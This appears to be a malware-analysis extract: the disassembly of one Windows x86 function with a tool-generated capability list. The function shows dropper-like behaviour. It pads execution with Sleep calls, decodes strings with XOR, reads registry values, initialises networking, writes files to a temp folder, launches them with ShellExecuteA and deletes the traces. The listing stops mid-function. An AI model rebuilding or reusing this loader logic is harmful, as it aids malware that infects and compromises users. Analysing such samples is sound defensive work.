Function at 0x802aa0
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check if file exists
Check mutex on windows
Create directory
Create process on windows
Delete directory
Delete file
Delete registry value
Encode data using xor
Get common file path
Initialize winsock library
Move file
Query environment variable
Query or enumerate registry value

Disassembly:
mov eax, 0x2370
call fcn.00807bc0
mov eax, dword [0x81c0d0]
xor eax, esp
mov dword [esp + 0x236c], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
xor edi, edi
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push 0x63
lea eax, [esp + 0x285]
push edi
push eax
mov byte [esp + 0x28c], 0
call fcn.00807bf0
add esp, 0xc
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push 0x103
lea ecx, [esp + 0xd9d]
push edi
push ecx
mov byte [esp + 0xda4], 0
call fcn.00807bf0
add esp, 0xc
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, 1
mov dword [esp + 0x20], ebx
mov dword [esp + 0x34], edi
mov dword [esp + 0x24], ebx
call esi
push eax
call fcn.00807c6a
add esp, 4
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
push edi
call ebp
call esi
push eax
call fcn.00807c6a
add esp, 4
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
lea edx, [esp + 0x70]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
movzx ecx, word [esp + 0x42]
movzx edx, word [esp + 0x3e]
movzx eax, word [esp + 0x3c]
push ecx
push edx
push eax
push 0x81666c
call fcn.00801c20
add esp, 4
push eax
lea ecx, [esp + 0xca4]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push 0x8166a0
call fcn.00801c20
add esp, 4
lea ecx, [esp + 0x348]
mov dl, byte [eax]
mov byte [ecx], dl
add eax, ebx
add ecx, ebx
test dl, dl
jne 0x802c51
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
push edi
call ebp
lea esp, [esp]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x64
push 0x81d598
call fcn.008024a0
add esp, 8
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
mov eax, 0x81d598
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x802ca7
sub eax, edx
cmp eax, 0xc
je 0x802cf1
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x3e8
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
add edi, ebx
cmp edi, 0x5a
jl 0x802c70
mov dword [esp + 0x30], edi
jmp 0x802cfa
cmp edi, 0x5a
mov dword [esp + 0x30], edi
jl 0x802d50
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push str.nbRRRRRRRRRRRR
call fcn.00801c20
add esp, 4
mov edx, 0x81d598
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx], cl
add eax, ebx
add edx, ebx
test cl, cl
jne 0x802d20
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x81d5a2]
mov byte [esp + eax + 0x200], cl
add eax, ebx
test cl, cl
jne 0x802d70
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0x5b4]
push edx
push 0x81d598
call fcn.00801550
add esp, 8
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0x13]
push eax
lea ecx, [esp + 0x204]
push ecx
call fcn.00801550
add esp, 8
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
mov bl, byte [esp + 0x13]
xor bl, 0xcf
push 0
mov byte [esp + 0x17], bl
call ebp
push 0
call ebp
xor byte [esp + 0x5b4], bl
xor byte [esp + 0x5b5], bl
xor byte [esp + 0x5b6], bl
xor byte [esp + 0x5b7], bl
xor byte [esp + 0x5b8], bl
xor byte [esp + 0x5b9], bl
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0xac8]
push edx
lea eax, [esp + 0x5b8]
push 6
push eax
call fcn.00802610
add esp, 0xc
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x81d5a2]
mov byte [esp + eax + 0x200], cl
inc eax
test cl, cl
jne 0x802e80
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea ecx, [esp + 0x5b4]
push ecx
push 0x81d598
call fcn.00801550
add esp, 8
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0x12]
push edx
lea eax, [esp + 0x204]
push eax
call fcn.00801550
add esp, 8
push 0
call ebp
push 0
call ebp
mov bl, byte [esp + 0x12]
xor bl, 0xdc
push 0
mov byte [esp + 0x16], bl
call ebp
push 0
call ebp
push 0
call ebp
xor byte [esp + 0x5b4], bl
xor byte [esp + 0x5b5], bl
xor byte [esp + 0x5b6], bl
xor byte [esp + 0x5b7], bl
xor byte [esp + 0x5b8], bl
xor byte [esp + 0x5b9], bl
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea ecx, [esp + 0x21c]
push ecx
lea edx, [esp + 0x5b8]
push 6
push edx
call fcn.00802610
push 0x8166e8
call fcn.00801c20
add esp, 0x10
lea ecx, [esp + 0x210]
mov dl, byte [eax]
mov byte [ecx], dl
inc eax
inc ecx
test dl, dl
jne 0x802f74
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0x21c]
push eax
push 0x8166f8
call fcn.00801c20
add esp, 4
push eax
lea ecx, [esp + 0xea4]
push ecx
call fcn.008079ed
add esp, 0xc
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0xea0]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x80303f
push eax
call ebp
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x214]
push edx
lea eax, [esp + 0x30]
push eax
push 0
push 0x816730
mov dword [esp + 0x30], 0x104
call fcn.00801c20
mov ecx, dword [esp + 0x28]
add esp, 4
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x80303f
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x210]
push eax
call fcn.00807a80
add esp, 4
mov esi, eax
xor ebx, ebx
push esi
push 0x816744
call fcn.00801c20
add esp, 4
push eax
lea ecx, [esp + 0x2ec]
push ecx
call fcn.008079ed
add esp, 0xc
push 0x816784
push 0x81d490
push edi
push 0x816790
push 0x816798
lea edx, [esp + 0x2f8]
push edx
push 0x8167a0
call fcn.00801c20
add esp, 4
push eax
lea eax, [esp + 0xeb8]
push eax
call fcn.008079ed
push 0xf4240
push 0x7a120
push 1
lea ecx, [esp + 0x44]
push ecx
lea edx, [esp + 0x5c]
push edx
lea eax, [esp + 0xed0]
push 0
push eax
call fcn.00801e80
add esp, 0x3c
cmp eax, 1
jne 0x803111
push 0x8168f8
call fcn.00801c20
mov ecx, dword [esp + 0x30]
add esp, 4
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x803108
test dl, dl
je 0x803104
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x803108
add ecx, 2
add eax, 2
test dl, dl
jne 0x8030e8
xor eax, eax
jmp 0x80310d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x803128
lea eax, [esi + 1]
cdq
mov ecx, 0x65
idiv ecx
inc ebx
cmp ebx, 0x67
mov esi, edx
jle 0x803053
test ebx, ebx
je 0x803188
push esi
push 0x816908
call fcn.00801c20
add esp, 4
push eax
lea edx, [esp + 0x218]
push edx
call fcn.008079ed
add esp, 0xc
push 0
push 1
push str._b_
call fcn.00801c20
add esp, 4
push eax
lea eax, [esp + 0x21c]
push eax
lea ecx, [esp + 0x22c]
push ecx
push 0x816930
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x64
lea edx, [esp + 0xea0]
push edx
push 0
call edi
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push 0x81695c
lea eax, [esp + 0xea0]
push eax
call ebx
push eax
call fcn.00814e4b
add esp, 8
test eax, eax
je 0x803263
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x81d598
push 0x816968
push 0x816970
lea ecx, [esp + 0x2f0]
push ecx
push 0x816978
call fcn.00801c20
add esp, 4
push eax
lea edx, [esp + 0xeb0]
push edx
call fcn.008079ed
add esp, 0x18
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor esi, esi
jmp 0x803230
push 0xf4240
push 0x7a120
push 1
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0xeb0]
push 0
push edx
call fcn.00801e80
add esp, 0x1c
cmp eax, 1
je 0x803263
inc esi
cmp esi, 1
jl 0x803230
push 0x64
lea eax, [esp + 0xea0]
push eax
push 0
call edi
push 0x816ab4
lea ecx, [esp + 0xea0]
push ecx
call ebx
push eax
call fcn.00814e4b
add esp, 8
test eax, eax
je 0x803706
push str.jb_f_r
call fcn.00801c20
add esp, 4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call dword [sym.imp.SHLWAPI.dll_PathGetArgsA]
lea ecx, [ecx]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x8032d0
test cl, cl
je 0x8032cc
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x8032d0
add eax, 2
add esi, 2
test cl, cl
jne 0x8032b0
xor eax, eax
jmp 0x8032d5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x803706
push 0
call ebp
push 0
call ebp
push 0x81d598
push 0x816aec
push str.4Mb_n
lea edx, [esp + 0x2f0]
push edx
push 0x816af8
call fcn.00801c20
add esp, 4
push eax
lea eax, [esp + 0xeb0]
push eax
call fcn.008079ed
add esp, 0x18
push 0
call ebp
push 0
call ebp
xor esi, esi
push 0xf4240
push 0x7a120
push 1
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x48]
push edx
lea eax, [esp + 0xeb0]
push 0
push eax
call fcn.00801e80
add esp, 0x1c
cmp eax, 1
je 0x80335c
inc esi
cmp esi, 3
jl 0x803324
jmp 0x803706
cmp esi, 3
jge 0x803706
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x816bc0
call fcn.00801c20
mov ecx, dword [esp + 0x3c]
push eax
push ecx
call fcn.00807c9e
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x8036ee
jmp 0x8033b0
push 0x104
lea edx, [esp + 0x4b4]
push edx
push ebx
call fcn.008023e0
add esp, 0xc
lea eax, [esp + 0x4b0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathGetArgsA]
lea edx, [esp + 0x44c]
jmp 0x8033e0
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x8033e0
lea eax, [esp + 0x4b0]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x8033f4
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x44c]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x803410
mov edi, dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksA]
sub eax, esi
sub ecx, eax
mov byte [esp + ecx + 0x4b0], dl
lea ecx, [esp + 0x4b0]
push ecx
call edi
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x803437
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x44c]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x803450
sub eax, esi
mov edx, ebx
sub edx, eax
push ebx
mov byte [edx + ecx], 0
call edi
call fcn.00807c7c
push eax
call fcn.00807c7c
push eax
call fcn.00807c7c
push eax
push 0x816bd0
call fcn.00801c20
add esp, 4
push eax
lea eax, [esp + 0xba0]
push eax
call fcn.008079ed
add esp, 0x14
lea ecx, [esp + 0x348]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0xb90]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x8034b0
lea edi, [esp + 0x348]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x8034c3
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
jmp 0x8034e0
mov cl, byte [esp + eax + 0x348]
mov byte [esp + eax + 0x8c0], cl
inc eax
test cl, cl
jne 0x8034e0
push 0
lea edx, [esp + 0x8c4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x816bf4
call fcn.00801c20
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x803512
lea edi, [esp + 0x348]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x803525
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x4b0]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x803544
lea edi, [esp + 0x348]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x803557
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor esi, esi
push 0xf4240
push 0x7a120
push 0
lea eax, [esp + 0x24]
push eax
push 0
lea ecx, [esp + 0x35c]
push ecx
push ebx
call fcn.00801e80
add esp, 0x1c
cmp eax, 1
je 0x8035c2
inc esi
cmp esi, 3
jl 0x803593
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
cmp esi, 3
jge 0x8036c3
lea eax, [esp + 0x348]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x8035e5
sub eax, edx
je 0x8036c3
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0xe9c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
call ebp
push 5
lea eax, [esp + 0x8c4]
push eax
lea ecx, [esp + 0x454]
push ecx
lea edx, [esp + 0x354]
push edx
push 0x816c04
call fcn.00801c20
add esp, 4
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor esi, esi
lea ecx, [ecx]
lea eax, [esp + 0x8c0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x8036a7
lea ecx, [esp + 0x348]
push ecx
call edi
lea edx, [esp + 0x8c0]
push edx
call ebx
test eax, eax
jne 0x8036a7
push 0x1f4
call ebp
inc esi
cmp esi, 0x78
jl 0x803670
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x816c20
call fcn.00801c20
push eax
push 0
call fcn.00807c9e
add esp, 0xc
push 0
mov ebx, eax
call ebp
push 0
call ebp
test ebx, ebx
jne 0x8033b0
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0xac8]
push eax
push 0x816c30
call fcn.00801c20
add esp, 4
push eax
lea ecx, [esp + 0xea4]
push ecx
call fcn.008079ed
add esp, 0xc
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0xea0]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
jne 0x803b8f
push 0
call ebp
push 0
call ebp
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x4b4]
push edx
lea eax, [esp + 0x30]
push eax
push 0
push 0x816c68
mov dword [esp + 0x30], 0x104
call fcn.00801c20
mov ecx, dword [esp + 0x28]
add esp, 4
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x803b8f
push eax
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0x4b0]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x8037c4
sub eax, edx
shr eax, 1
push 0
mov esi, eax
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0x5b4]
push edx
lea eax, [esp + 0x4b4]
push eax
call fcn.00801550
add esp, 8
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor eax, eax
test esi, esi
jle 0x803840
nop
mov cl, byte [esp + 0x13]
xor byte [esp + eax + 0x5b4], cl
inc eax
cmp eax, esi
jl 0x803830
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push esi
lea edx, [esp + 0x5b8]
push edx
lea eax, [esp + 0x4b8]
push eax
call fcn.00807a90
add esp, 0xc
push 0
call ebp
push 0
mov byte [esp + esi + 0x4b4], 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x104
lea edx, [esp + 0xea0]
push edx
push 0x8164f0
call fcn.00801c20
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x816c94
call fcn.00801c20
add esp, 4
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x803900
lea edi, [esp + 0xe9c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x803913
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x4b0]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x803932
lea edi, [esp + 0xe9c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x803945
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
lea ecx, [ecx]
mov cl, byte [esp + eax + 0x4b0]
mov byte [esp + eax + 0xe9c], cl
inc eax
test cl, cl
jne 0x803960
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0xe9c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x8039a1
sub eax, edx
mov esi, eax
push 0
mov dword [esp + 0x1c], esi
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor eax, eax
test esi, esi
jle 0x8039f0
mov edi, edi
mov cl, byte [esp + 0x13]
xor byte [esp + eax + 0xe9c], cl
inc eax
cmp eax, esi
jl 0x8039e0
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0x280]
push edx
lea eax, [esp + 0xea0]
push esi
push eax
call fcn.00802610
add esp, 0xc
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x816ca4
call fcn.00801c20
add esp, 4
lea edx, [esp + 0x348]
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x803a51
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea ecx, [esp + 0x14]
push ecx
push 0x816cb0
call fcn.00801c20
add esp, 4
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x34c]
push eax
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x30]
push ecx
push 0
lea edx, [esp + 0x290]
push edx
push eax
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0
call ebp
push 0
call ebp
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0x4c]
push edx
push 0
lea eax, [esp + 0x350]
push eax
call ebx
push 0
mov esi, eax
call ebp
test esi, esi
jne 0x803b4b
or esi, 0xffffffff
jmp 0x803b5b
push 0
call ebp
push 0
call ebp
push 0
call ebp
mov esi, dword [esp + 0x6c]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
cmp esi, 0x2c00
jl 0x803b8f
mov dword [esp + 0x34], 1
push 0
mov byte [esp + 0x284], 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea ecx, [esp + 0x21c]
push ecx
push 0x816d70
call fcn.00801c20
add esp, 4
push eax
lea edx, [esp + 0xea4]
push edx
call fcn.008079ed
add esp, 0xc
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0xea0]
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x8040f4
push eax
mov dword [esp + 0x24], eax
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0xd9c]
push eax
lea ecx, [esp + 0x30]
push ecx
push 0
mov edi, 0x104
push str.ab4_a
mov dword [esp + 0x30], edi
call fcn.00801c20
mov edx, dword [esp + 0x28]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 4
push eax
push edx
call esi
test eax, eax
jne 0x803c4b
push eax
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x4b4]
push ecx
lea edx, [esp + 0x30]
push edx
push 0
push 0x816dc0
mov dword [esp + 0x30], edi
call fcn.00801c20
add esp, 4
push eax
mov eax, dword [esp + 0x28]
push eax
call esi
test eax, eax
jne 0x8040f4
push eax
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0x4b0]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x803cb5
sub eax, edx
shr eax, 1
push 0
mov esi, eax
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea ecx, [esp + 0x5b4]
push ecx
lea edx, [esp + 0x4b4]
push edx
call fcn.00801550
add esp, 8
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor eax, eax
test esi, esi
jle 0x803d20
jmp 0x803d10
mov cl, byte [esp + 0x12]
xor byte [esp + eax + 0x5b4], cl
inc eax
cmp eax, esi
jl 0x803d10
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push esi
lea edx, [esp + 0x5b8]
push edx
lea eax, [esp + 0x4b8]
push eax
call fcn.00807a90
add esp, 0xc
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
mov byte [esp + esi + 0x4b4], 0
call ebp
push 0
call ebp
push 0
call ebp
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x104
lea edx, [esp + 0xea0]
push edx
push 0x8164f0
call fcn.00801c20
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x816dec
call fcn.00801c20
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x803de8
lea edi, [esp + 0xe9c]
sub eax, ecx
mov esi, ecx
dec edi
jmp 0x803e00
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x803e00
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0x4b0]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x803e37
lea edi, [esp + 0xe9c]
sub eax, ecx
mov esi, ecx
dec edi
lea ebx, [ebx]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x803e50
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
jmp 0x803e70
mov cl, byte [esp + eax + 0x4b0]
mov byte [esp + eax + 0xe9c], cl
inc eax
test cl, cl
jne 0x803e70
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0xe9c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x803ea5
sub eax, edx
mov esi, eax
push 0
mov dword [esp + 0x1c], esi
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor eax, eax
test esi, esi
jle 0x803ee2
mov cl, byte [esp + 0x12]
xor byte [esp + eax + 0xe9c], cl
inc eax
cmp eax, esi
jl 0x803ed2
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
